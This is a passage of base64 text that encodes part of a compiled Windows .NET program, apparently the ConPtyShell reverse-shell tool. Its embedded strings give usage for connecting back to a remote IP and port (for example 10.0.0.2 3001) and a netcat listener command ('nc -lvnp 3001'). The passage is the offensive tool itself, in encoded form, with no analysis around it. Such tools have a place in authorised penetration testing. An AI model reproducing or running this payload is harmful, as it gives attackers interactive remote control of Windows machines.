R5AFRvU3RyaW5nAENvbnNvbGUAV3JpdGVMaW5lAFJlYWRJbnRQdHIAVG9JbnQ2NABnZXRfU2l6ZQBQdHJUb1N0cnVjdHVyZQBvcF9FeHBsaWNpdABvcF9JbmVxdWFsaXR5AFB0clRvU3RyaW5nVW5pAHBhcmVudFByb2Nlc3MARm9ybWF0AFN0cnVjdExheW91dEF0dHJpYnV0ZQBMYXlvdXRLaW5kAEZsYWdzQXR0cmlidXRlAHByb2Nlc3NIYW5kbGUAcHJvY2Vzc0luZm9ybWF0aW9uQ2xhc3MAcHJvY2Vzc0luZm9ybWF0aW9uAHByb2Nlc3NJbmZvcm1hdGlvbkxlbmd0aABnZXRfSGFuZGxlAGlkAEdldFByb2Nlc3NCeUlkAFRvSW50MzIAQXJndW1lbnRFeGNlcHRpb24AZHdBdHRyaWJ1dGVDb3VudABscFNpemUAYXR0cmlidXRlAGxwVmFsdWUAY2JTaXplAGxwUHJldmlvdXNWYWx1ZQBscFJldHVyblNpemUAbHBBcHBsaWNhdGlvbk5hbWUAbHBDb21tYW5kTGluZQBscFByb2Nlc3NBdHRyaWJ1dGVzAGJJbmhlcml0SGFuZGxlcwBscEVudmlyb25tZW50AGxwQ3VycmVudERpcmVjdG9yeQBscFN0YXJ0dXBJbmZvAGxwUHJvY2Vzc0luZm9ybWF0aW9uAHVFeGl0Q29kZQBuU3RkSGFuZGxlAGhSZWFkUGlwZQBoV3JpdGVQaXBlAGxwUGlwZUF0dHJpYnV0ZXMAblNpemUAbHBGaWxlTmFtZQBkd1NoYXJlTW9kZQBTZWN1cml0eUF0dHJpYnV0ZXMAZHdDcmVhdGlvbkRpc3Bvc2l0aW9uAGR3RmxhZ3NBbmRBdHRyaWJ1dGVzAGhUZW1wbGF0ZUZpbGUAaEZpbGUAbHBCdWZmZXIAbk51bWJlck9mQnl0ZXNUb1JlYWQAbHBOdW1iZXJPZkJ5dGVzUmVhZABscE92ZXJsYXBwZWQAbk51bWJlck9mQnl0ZXNUb1dyaXRlAGxwTnVtYmVyT2ZCeXRlc1dyaXR0ZW4Ac2l6ZQBoSW5wdXQAaE91dHB1dABwaFBDAGhQQwBoQ29uc29sZUhhbmRsZQBtb2RlAHVzZXIzMi5kbGwAaFduZABuQ21kU2hvdwBscE1vZHVsZU5hbWUAa2VybmVsMzIAaE1vZHVsZQBwcm9jTmFtZQBwcm90b2NvbEluZm8AZ3JvdXAAZmxhZ3MAYWRkcgBhZGRyc2l6ZQBob3N0c2hvcnQAY3AAU29ja2V0AGJ1ZgBsZW4AcmVtb3RlSXAAcmVtb3RlUG9ydABDb252ZXJ0AHNoZWxsU29ja2V0AHJvd3MAY29scwBTbGVlcABCeXRlAFN5c3RlbS5UZXh0AEVuY29kaW5nAGdldF9BU0NJSQBHZXRTdHJpbmcAQ2hhcgBTcGxpdABUcmltAFRyeVBhcnNlAElucHV0UGlwZVJlYWQASW5wdXRQaXBlV3JpdGUAT3V0cHV0UGlwZVJlYWQAT3V0cHV0UGlwZVdyaXRlAG9sZFN0ZEluAG9sZFN0ZE91dABvbGRTdGRFcnIAaGFuZGxlUHNldWRvQ29uc29sZQBDb25QdHlJbnB1dFBpcGVSZWFkAENvblB0eU91dHB1dFBpcGVXcml0ZQBhdHRyaWJ1dGVzAEdldExhc3RXaW4zMkVycm9yAHNJbmZvRXgAY29tbWFuZExpbmUAUGFyYW1ldGVyaXplZFRocmVhZFN0YXJ0AFN0YXJ0AGhDaGlsZFByb2Nlc3MAdXBncmFkZVNoZWxsAEFib3J0AHBhcmFtAGFyZ3VtZW50cwBTeXN0ZW0uSU8AVGV4dFdyaXRlcgBnZXRfT3V0AFdyaXRlAGlwU3RyaW5nAFN5c3RlbS5OZXQASVBBZGRyZXNzAGFyZwBhcmdzAENvbnRhaW5zAC5jY3RvcgAAAAAANVsALQBdACAAQwBvAG4AUAB0AHkAUwBoAGUAbABsAEUAeABjAGUAcAB0AGkAbwBuADoAIAABSUMAYQBuAG4AbwB0ACAAbwBwAGUAbgAgAHQAYQByAGcAZQB0ACAAcAByAG8AYwBlAHMAcwAgAHcAaQB0AGgAIABwAGkAZAAgAAA3IABmAG8AcgAgAEQAdQBwAGwAaQBjAGEAdABlAEgAYQBuAGQAbABlACAAYQBjAGMAZQBzAHMAABdcAEQAZQB2AGkAYwBlAFwAQQBmAGQAAHdnAGUAdABwAGUAZQByAG4AYQBtAGUAIABzAG8AYwBrAGEAZABkAHIAVABhAHIAZwBlAHQAUAByAG8AYwBlAHMAcwAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAHcAcwBhAGwAYQBzAHQAZQByAHIAbwByACAAAHdnAGUAdABwAGUAZQByAG4AYQBtAGUAIABzAG8AYwBrAGEAZABkAHIAUABhAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAHcAcwBhAGwAYQBzAHQAZQByAHIAbwByACAAAHFOAG8AIABcAEQAZQB2AGkAYwBlAFwAQQBmAGQAIABvAGIAagBlAGMAdABzACAAZgBvAHUAbgBkAC4AIABTAG8AYwBrAGUAdAAgAGQAdQBwAGwAaQBjAGEAdABpAG8AbgAgAGYAYQBpAGwAZQBkAC4AAE1XAFMAQQBTAHQAYQByAHQAdQBwACAAZgBhAGkAbABlAGQAIAB3AGkAdABoACAAZQByAHIAbwByACAAYwBvAGQAZQA6ACAAewAwAH0AAEtXAFMAQQBEAHUAcABsAGkAYwBhAHQAZQBTAG8AYwBrAGUAdAAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAGUAcgByAG8AcgAgAAAlIABhAG4AZAAgAHcAcwBhAGwAYQBzAHQAZQByAHIAbwByACAAADlXAFMAQQBTAG8AYwBrAGUAdAAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAGUAcgByAG8AcgAgAAA3UwBwAGUAYwBpAGYAaQBlAGQAIABwAG8AcgB0ACAAaQBzACAAaQBuAHYAYQBsAGkAZAA6ACAAAE1XAFMAQQBDAG8AbgBuAGUAYwB0ACAAZgBhAGkAbABlAGQAIAB3AGkAdABoACAAZQByAHIAbwByACAAYwBvAGQAZQA6ACAAewAwAH0AAD1DAG8AdQBsAGQAIABuAG8AdAAgAGMAcgBlAGEAdABlACAAdABoAGUAIABJAG4AcAB1AHQAUABpAHAAZQAAP0MAbwB1AGwAZAAgAG4AbwB0ACAAYwByAGUAYQB0AGUAIAB0AGgAZQAgAE8AdQB0AHAAdQB0AFAAaQBwAGUAAA9DAE8ATgBPAFUAVAAkAAANQwBPAE4ASQBOACQAADVDAG8AdQBsAGQAIABuAG8AdAAgAGcAZQB0ACAAYwBvAG4AcwBvAGwAZQAgAG0AbwBkAGUAAFlDAG8AdQBsAGQAIABuAG8AdAAgAGUAbgBhAGIAbABlACAAdgBpAHIAdAB1AGEAbAAgAHQAZQByAG0AaQBuAGEAbAAgAHAAcgBvAGMAZQBzAHMAaQBuAGcAAICBQwBvAHUAbABkACAAbgBvAHQAIABjAGEAbABjAHUAbABhAHQAZQAgAHQAaABlACAAbgB1AG0AYgBlAHIAIABvAGYAIABiAHkAdABlAHMAIABmAG8AcgAgAHQAaABlACAAYQB0AHQAcgBpAGIAdQB0AGUAIABsAGkAcwB0AC4AIAAAQ0MAbwB1AGwAZAAgAG4AbwB0ACAAcwBlAHQAIAB1AHAAIABhAHQAdAByAGkAYgB1AHQAZQAgAGwAaQBzAHQALgAgAABdQwBvAHUAbABkACAAbgBvAHQAIABzAGUAdAAgAHAAcwBlAHUAZABvAGMAbwBuAHMAbwBsAGUAIAB0AGgAcgBlAGEAZAAgAGEAdAB0AHIAaQBiAHUAdABlAC4AIAAANUMAbwB1AGwAZAAgAG4AbwB0ACAAYwByAGUAYQB0AGUAIABwAHIAbwBjAGUAcwBzAC4AIAAAAQARawBlAHIAbgBlAGwAMwAyAAAnQwByAGUAYQB0AGUAUABzAGUAdQBkAG8AQwBvAG4AcwBvAGwAZQAAgJUNAAoAQwByAGUAYQB0AGUAUABzAGUAdQBkAG8AQwBvAG4AcwBvAGwAZQAgAGYAdQBuAGMAdABpAG8AbgAgAGYAbwB1AG4AZAAhACAAUwBwAGEAdwBuAGkAbgBnACAAYQAgAGYAdQBsAGwAeQAgAGkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAHMAaABlAGwAbAANAAoAAFV7ADAAfQBDAG8AdQBsAGQAIABuAG8AdAAgAGMAbwBuAG4AZQBjAHQAIAB0AG8AIABpAHAAIAB7ADEAfQAgAG8AbgAgAHAAbwByAHQAIAB7ADIAfQAAOXsAewB7AEMAbwBuAFAAdAB5AFMAaABlAGwAbABFAHgAYwBlAHAAdABpAG8AbgB9AH0AfQANAAoAAGV7ADAAfQBDAG8AdQBsAGQAIABuAG8AdAAgAGMAcgBlAGEAdABlACAAcABzAHUAZQBkAG8AIABjAG8AbgBzAG8AbABlAC4AIABFAHIAcgBvAHIAIABDAG8AZABlACAAewAxAH0AAIC5QwBvAHUAbABkACAAbgBvAHQAIAB1AHAAZwByAGEAZABlACAAcwBoAGUAbABsACAAdABvACAAZgB1AGwAbAB5ACAAaQBuAHQAZQByAGEAYwB0AGkAdgBlACAAYgBlAGMAYQB1AHMAZQAgAEMAbwBuAFAAVABZACAAaQBzACAAbgBvAHQAIABjAG8AbQBwAGEAdABpAGIAbABlACAAbwBuACAAdABoAGkAcwAgAHMAeQBzAHQAZQBtAACArw0ACgBDAHIAZQBhAHQAZQBQAHMAZQB1AGQAbwBDAG8AbgBzAG8AbABlACAAZgB1AG4AYwB0AGkAbwBuACAAbgBvAHQAIABmAG8AdQBuAGQAIQAgAFMAcABhAHcAbgBpAG4AZwAgAGEAIABuAGUAdABjAGEAdAAtAGwAaQBrAGUAIABpAG4AdABlAHIAYQBjAHQAaQB2AGUAIABzAGgAZQBsAGwALgAuAC4ADQAKAAE5QwBvAG4AUAB0AHkAUwBoAGUAbABsACAAawBpAG4AZABsAHkAIABlAHgAaQB0AGUAZAAuAA0ACgAABS0AaAABDS0ALQBoAGUAbABwAAEFLwA/AACAuQ0ACgBDAG8AbgBQAHQAeQBTAGgAZQBsAGwAOgAgAE4AbwB0ACAAZQBuAG8AdQBnAGgAIABhAHIAZwB1AG0AZQBuAHQAcwAuACAAMgAgAEEAcgBnAHUAbQBlAG4AdABzACAAcgBlAHEAdQBpAHIAZQBkAC4AIABVAHMAZQAgAC0ALQBoAGUAbABwACAAZgBvAHIAIABhAGQAZABpAHQAaQBvAG4AYQBsACAAaABlAGwAcAAuAA0ACgABSw0ACgBDAG8AbgBQAHQAeQBTAGgAZQBsAGwAOgAgAEkAbgB2AGEAbABpAGQAIAByAGUAbQBvAHQAZQBJAHAAIAB2AGEAbAB1AGUAAEsNAAoAQwBvAG4AUAB0AHkAUwBoAGUAbABsADoAIABJAG4AdgBhAGwAaQBkACAAaQBuAHQAZQBnAGUAcgAgAHYAYQBsAHUAZQAgAAAdcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlAAAPdQBwAGcAcgBhAGQAZQAAjqUNAAoADQAKAEMAbwBuAFAAdAB5AFMAaABlAGwAbAAgAC0AIABGAHUAbABsAHkAIABJAG4AdABlAHIAYQBjAHQAaQB2AGUAIABSAGUAdgBlAHIAcwBlACAAUwBoAGUAbABsACAAZgBvAHIAIABXAGkAbgBkAG8AdwBzACAADQAKAEEAdQB0AGgAbwByADoAIABzAHAAbABpAG4AdABlAHIAXwBjAG8AZABlAA0ACgBMAGkAYwBlAG4AcwBlADoAIABNAEkAVAANAAoAUwBvAHUAcgBjAGUAOgAgAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AYQBuAHQAbwBuAGkAbwBDAG8AYwBvAC8AQwBvAG4AUAB0AHkAUwBoAGUAbABsAA0ACgAgACAAIAAgAA0ACgBDAG8AbgBQAHQAeQBTAGgAZQBsAGwAIAAtACAARgB1AGwAbAB5ACAAaQBuAHQAZQByAGEAYwB0AGkAdgBlACAAcgBlAHYAZQByAHMAZQAgAHMAaABlAGwAbAAgAGYAbwByACAAVwBpAG4AZABvAHcAcwANAAoADQAKAFAAcgBvAHAAZQByAGwAeQAgAHMAZQB0ACAAdABoAGUAIAByAG8AdwBzACAAYQBuAGQAIABjAG8AbABzACAAdgBhAGwAdQBlAHMALgAgAFkAbwB1ACAAYwBhAG4AIAByAGUAdAByAGkAZQB2AGUAIABpAHQAIABmAHIAbwBtAA0ACgB5AG8AdQByACAAdABlAHIAbQBpAG4AYQBsACAAdwBpAHQAaAAgAHQAaABlACAAYwBvAG0AbQBhAG4AZAAgACIAcwB0AHQAeQAgAHMAaQB6AGUAIgAuAA0ACgANAAoAWQBvAHUAIABjAGEAbgAgAGEAdgBvAGkAZAAgAHQAbwAgAHMAZQB0ACAAcgBvAHcAcwAgAGEAbgBkACAAYwBvAGwAcwAgAHYAYQBsAHUAZQBzACAAaQBmACAAeQBvAHUAIAByAHUAbgAgAHkAbwB1AHIAIABsAGkAcwB0AGUAbgBlAHIADQAKAHcAaQB0AGgAIAB0AGgAZQAgAGYAbwBsAGwAbwB3AGkAbgBnACAAYwBvAG0AbQBhAG4AZAA6AA0ACgAgACAAIAAgAHMAdAB0AHkAIAByAGEAdwAgAC0AZQBjAGgAbwA7ACAAKABzAHQAdAB5ACAAcwBpAHoAZQA7ACAAYwBhAHQAKQAgAHwAIABuAGMAIAAtAGwAdgBuAHAAIAAzADAAMAAxAA0ACgANAAoASQBmACAAeQBvAHUAIAB3AGEAbgB0ACAAdABvACAAYwBoAGEAbgBnAGUAIAB0AGgAZQAgAGMAbwBuAHMAbwBsAGUAIABzAGkAegBlACAAZABpAHIAZQBjAHQAbAB5ACAAZgByAG8AbQAgAHAAbwB3AGUAcgBzAGgAZQBsAGwADQAKAHkAbwB1ACAAYwBhAG4AIABwAGEAcwB0AGUAIAB0AGgAZQAgAGYAbwBsAGwAbwB3AGkAbgBnACAAYwBvAG0AbQBhAG4AZABzADoADQAKACAAIAAgACAAJAB3AGkAZAB0AGgAPQA4ADAADQAKACAAIAAgACAAJABoAGUAaQBnAGgAdAA9ADIANAANAAoAIAAgACAAIAAkAEgAbwBzAHQALgBVAEkALgBSAGEAdwBVAEkALgBCAHUAZgBmAGUAcgBTAGkAegBlACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEgAbwBzAHQALgBTAGkAegBlACAAKAAkAHcAaQBkAHQAaAAsACAAJABoAGUAaQBnAGgAdAApAA0ACgAgACAAIAAgACQASABvAHMAdAAuAFUASQAuAFIAYQB3AFUASQAuAFcAaQBuAGQAbwB3AFMAaQB6AGUAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEgAbwBzAHQALgBTAGkAegBlACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACgAJAB3AGkAZAB0AGgALAAgACQAaABlAGkAZwBoAHQAKQANAAoADQAKAFUAcwBhAGcAZQA6AA0ACgAgACAAIAAgAEMAbwBuAFAAdAB5AFMAaABlAGwAbAAuAGUAeABlACAAcgBlAG0AbwB0AGUAXwBpAHAAIAByAGUAbQBvAHQAZQBfAHAAbwByAHQAIABbAHIAbwB3AHMAXQAgAFsAYwBvAGwAcwBdACAAWwBjAG8AbQBtAGEAbgBkAGwAaQBuAGUAXQANAAoADQAKAFAAbwBzAGkAdABpAG8AbgBhAGwAIABhAHIAZwB1AG0AZQBuAHQAcwA6AA0ACgAgACAAIAAgAHIAZQBtAG8AdABlAF8AaQBwACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFQAaABlACAAcgBlAG0AbwB0AGUAIABpAHAAIAB0AG8AIABjAG8AbgBuAGUAYwB0AA0ACgAgACAAIAAgAHIAZQBtAG8AdABlAF8AcABvAHIAdAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFQAaABlACAAcgBlAG0AbwB0AGUAIABwAG8AcgB0ACAAdABvACAAYwBvAG4AbgBlAGMAdAANAAoAIAAgACAAIABbAHIAbwB3AHMAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABSAG8AdwBzACAAcwBpAHoAZQAgAGYAbwByACAAdABoAGUAIABjAG8AbgBzAG8AbABlAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEQAZQBmAGEAdQBsAHQAOgAgACIAMgA0ACIADQAKACAAIAAgACAAWwBjAG8AbABzAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAQwBvAGwAcwAgAHMAaQB6AGUAIABmAG8AcgAgAHQAaABlACAAYwBvAG4AcwBvAGwAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABEAGUAZgBhAHUAbAB0ADoAIAAiADgAMAAiAA0ACgAgACAAIAAgAFsAYwBvAG0AbQBhAG4AZABsAGkAbgBlAF0AIAAgACAAIAAgACAAIAAgACAAIAAgAFQAaABlACAAYwBvAG0AbQBhAG4AZABsAGkAbgBlACAAbwBmACAAdABoAGUAIABwAHIAbwBjAGUAcwBzACAAdABoAGEAdAAgAHkAbwB1ACAAYQByAGUAIABnAG8AaQBuAGcAIAB0AG8AIABpAG4AdABlAHIAYQBjAHQADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAARABlAGYAYQB1AGwAdAA6ACAAIgBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoARQB4AGEAbQBwAGwAZQBzADoADQAKACAAIAAgACAAUwBwAGEAdwBuACAAYQAgAHIAZQB2AGUAcgBzAGUAIABzAGgAZQBsAGwADQAKACAAIAAgACAAIAAgACAAIABDAG8AbgBQAHQAeQBTAGgAZQBsAGwALgBlAHgAZQAgADEAMAAuADAALgAwAC4AMgAgADMAMAAwADEADQAKACAAIAAgACAADQAKACAAIAAgACAAUwBwAGEAdwBuACAAYQAgAHIAZQB2AGUAcgBzAGUAIABzAGgAZQBsAGwAIAB3AGkAdABoACAAcwBwAGUAYwBpAGYAaQBjACAAcgBvAHcAcwAgAGEAbgBkACAAYwBvAGwAcwAgAHMAaQB6AGUADQAKACAAIAAgACAAIAAgACAAIABDAG8AbgBQAHQAeQBTAGgAZQBsAGwALgBlAHgAZQAgADEAMAAuADAALgAwAC4AMgAgADMAMAAwADEAIAAzADAAIAA5ADAADQAKACAAIAAgACAADQAKACAAIAAgACAAUwBwAGEAdwBuACAAYQAgAHIAZQB2AGUAcgBzAGUAIABzAGgAZQBsAGwAIAAoAGMAbQBkAC4AZQB4AGUAKQAgAHcAaQB0AGgAIABzAHAAZQBjAGkAZgBpAGMAIAByAG8AdwBzACAAYQBuAGQAIABjAG8AbABzACAAcwBpAHoAZQANAAoAIAAgACAAIAAgACAAIAAgAEMAbwBuAFAAdAB5AFMAaABlAGwAbAAuAGUAeABlACAAMQAwAC4AMAAuADAALgAyACAAMwAwADAAMQAgADMAMAAgADkAMAAgAGMAbQBkAC4AZQB4AGUADQAKACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIABVAHAAZwByAGEAZABlACAAeQBvAHUAcgAgAGMAdQByAHIAZQBuAHQAIABzAGgAZQBsAGwAIAB3AGkAdABoACAAcwBwAGUAYwBpAGYAaQBjACAAcgBvAHcAcwAgAGEAbgBkACAAYwBvAGwAcwAgAHMAaQB6AGUADQAKACAAIAAgACAAIAAgACAAIABDAG8AbgBQAHQAeQBTAGgAZQBsAGwALgBlAHgAZQAgAHUAcABnAHIAYQBkAGUAIABzAGgAZQBsAGwAIAAzADAAIAA5AD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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA